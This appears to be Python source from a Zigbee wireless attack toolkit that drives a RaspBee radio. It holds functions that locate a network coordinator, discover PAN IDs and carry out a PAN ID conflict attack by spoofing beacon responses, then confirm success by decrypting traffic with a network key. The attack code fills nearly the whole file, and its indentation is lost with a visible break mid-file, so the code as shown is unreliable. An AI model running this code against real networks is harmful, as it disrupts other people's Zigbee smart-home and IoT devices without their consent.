def find_coord_addr_by_panid(radio, panid):
for attempt in range(NUMBER_OF_ATTEMPTS):
print_info("Finding the coordinator's address")
seq_num = random.randint(0, 255)
radio.send(beacon_request(seq_num=seq_num))
timer = Timer(RESPONSE_TIME_LIMIT)
while (not timer.has_expired()):
frame = radio.receive()
if is_beacon_response(frame):
if frame[Dot15d4Beacon].src_panid == panid:
addr = frame[Dot15d4Beacon].src_addr
print_info("Address found: 0x%04x" % addr)
return addr
print_error("Did not observe the target's beacon response.")
def pan_conflict_by_panid(radio, panid, network_key=None, coord_ext_addr=None):
print_info("Performing PAN ID conflict")
conflict_sent = False
for attempt in range(NUMBER_OF_ATTEMPTS):
seq_num = random.randint(0, 255)
seq_iter = SequenceIterator(seq_num)
radio.send(beacon_request(seq_num=seq_iter.next()))
timer = Timer(RESPONSE_TIME_LIMIT)
while not timer.has_expired():
frame = radio.receive()
if is_beacon_response(frame):
if frame[Dot15d4FCS].src_panid == panid:
print_info("Network observed, sending conflict")
current_seq_num = seq_iter.next()
radio.send(beacon_response(panid, seq_num=current_seq_num))
radio.send(beacon_response(panid, seq_num=current_seq_num))
break
if network_key is not None and coord_ext_addr is not None:
timer.reset()
print_info(
"Verifying the conflict took by looking for the network update"
)
while not timer.has_expired():
frame = radio.receive()
if frame is not None and ZigbeeSecurityHeader in frame:
coord_ext_addr_bytes = extended_address_bytes(
coord_ext_addr)
decrypted, valid = crypto_utils.zigbee_packet_decrypt(
network_key, frame, coord_ext_addr_bytes)
if valid:
if bytes(decrypted)[0] == 0x0a:
print_info(
"Network update observed. PAN conflict worked")
return True
print_error(
"Did not observe a network update. PAN conflict likely failed")
return False
return True
def get_pan_by_extended_pan(radio, extended_panid):
seq_iter = SequenceIterator(random.randint(0, 255))
extended_panid = extended_pan(extended_panid)
for attempt in range(NUMBER_OF_ATTEMPTS):
print_info("Sending a beacon to find the target's current PAN ID.")
radio.send(beacon_request(seq_num=seq_iter.next()))
timer = Timer(RESPONSE_TIME_LIMIT)
while not timer.has_expired():
frame = radio.receive()
if is_beacon_response(frame):
if frame[ZigBeeBeacon].extended_pan_id == extended_panid:
panid = frame[Dot15d4Beacon].src_panid
print_info("PAN ID found: 0x%04x" % panid)
return panid
print_error("Did not observe the target's beacon response.")
required=True,
help='Channel to use')
parser.add_argument('-w',
'--wireshark',
action='store_true',
dest='wireshark',
required=False,
help='See all traffic in wireshark')
args = parser.parse_args()
logo = Logo()
logo.print()
hardware_radio = RaspbeeRadio("/dev/ttyS0")
radio = ObserverRadio(hardware_radio)
if args.wireshark:
wireshark = WiresharkObserver()
radio.add_observer(wireshark)
radio.set_channel(args.channel)
print_notify("Sending the beacon request")
radio.send(beacon_request(random.randint(0, 255)))
timer = Timer(5)
while not timer.has_expired():
radio.receive()
radio.off()